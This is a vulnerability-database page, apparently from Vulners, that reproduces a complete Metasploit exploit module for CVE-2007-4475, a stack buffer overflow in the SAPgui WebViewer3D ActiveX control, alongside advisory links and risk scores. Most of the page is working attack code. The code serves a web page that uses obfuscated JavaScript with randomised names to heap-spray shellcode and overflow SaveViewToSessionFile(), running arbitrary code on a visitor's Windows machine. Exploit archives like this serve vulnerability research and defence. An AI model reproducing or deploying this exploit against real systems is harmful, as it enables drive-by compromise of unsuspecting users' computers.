SAP AG SAPgui EAI WebViewer3D Buffer Overflow

🗓️ 02 Apr 2009 20:43:06Reported by MC <[email protected]>Type

SAPgui EAI WebViewer3D Buffer Overflow in Siemens Unigraphics Solution

Reporter	Title	Published	Views	Family All 15
Circl	CVE-2007-4475	31 Mar 200900:00	–	circl
Check Point Advisories	SAP GUI WebViewer3D ActiveX Control Arbitrary File Overwrite (CVE-2007-4475)	16 Dec 200900:00	–	checkpoint_advisories
CVE	CVE-2007-4475	1 Apr 200918:00	–	cve
Cvelist	CVE-2007-4475	1 Apr 200918:00	–	cvelist
Exploit DB	SAP AG SAPgui EAI WebViewer3D - Remote Buffer Overflow (Metasploit)	9 May 201000:00	–	exploitdb
NVD	CVE-2007-4475	1 Apr 200918:30	–	nvd
Packet Storm	SAP AG SAPgui EAI WebViewer3D Buffer Overflow	26 Nov 200900:00	–	packetstorm
Prion	Stack overflow	1 Apr 200918:30	–	prion
Saint	SAPgui EAI WebViewer3D ActiveX control SaveViewToSessionFile buffer overflow	7 Apr 200900:00	–	saint
Saint	SAPgui EAI WebViewer3D ActiveX control SaveViewToSessionFile buffer overflow	7 Apr 200900:00	–	saint

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SAP AG SAPgui EAI WebViewer3D Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Siemens Unigraphics Solutions
        Teamcenter Visualization EAI WebViewer3D ActiveX control that is bundled
        with SAPgui. When passing an overly long string the SaveViewToSessionFile()
        method, arbitrary code may be executed.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2007-4475' ],
          [ 'OSVDB', '53066' ],
          [ 'US-CERT-VU','985449' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
        ],
      'DisclosureDate' => '2009-03-31',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload.
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Create some nops.
    nops    = Rex::Text.to_unescape(make_nops(4))

    # Set the return.
    ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)

    # Randomize the javascript variable names.
    vname  = rand_text_alpha(rand(100) + 1)
    var_i  = rand_text_alpha(rand(30)  + 2)
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(rand(100) + 1)
    rand5  = rand_text_alpha(rand(100) + 1)
    rand6  = rand_text_alpha(rand(100) + 1)
    rand7  = rand_text_alpha(rand(100) + 1)
    rand8  = rand_text_alpha(rand(100) + 1)
    randnop = rand_text_alpha(rand(100) + 1)

    content = %Q|
    <html>
      <object id='#{vname}' classid='clsid:AFBBE070-7340-11D2-AA6B-00E02924C34E'></object>
      <script language="JavaScript">
        var #{rand1} = unescape('#{shellcode}');
        var #{randnop} = "#{nops}";
        var #{rand2} = unescape(#{randnop});
        var #{rand3} = 20;
        var #{rand4} = #{rand3} + #{rand1}.length;
        while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
        var #{rand5} = #{rand2}.substring(0,#{rand4});
        var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
        while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
        var #{rand7} = new Array();
        for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
        var #{rand8} = "";
        for (#{var_i} = 0; #{var_i} < 12500; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
        #{vname}.SaveViewToSessionFile(#{rand8});
      </script>
    </html>
      |

    content = Rex::Text.randomize_space(content)

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end

02 Oct 2020 20:00Current

7.9High risk

Vulners AI Score7.9

CVSS 29.3

EPSS0.68002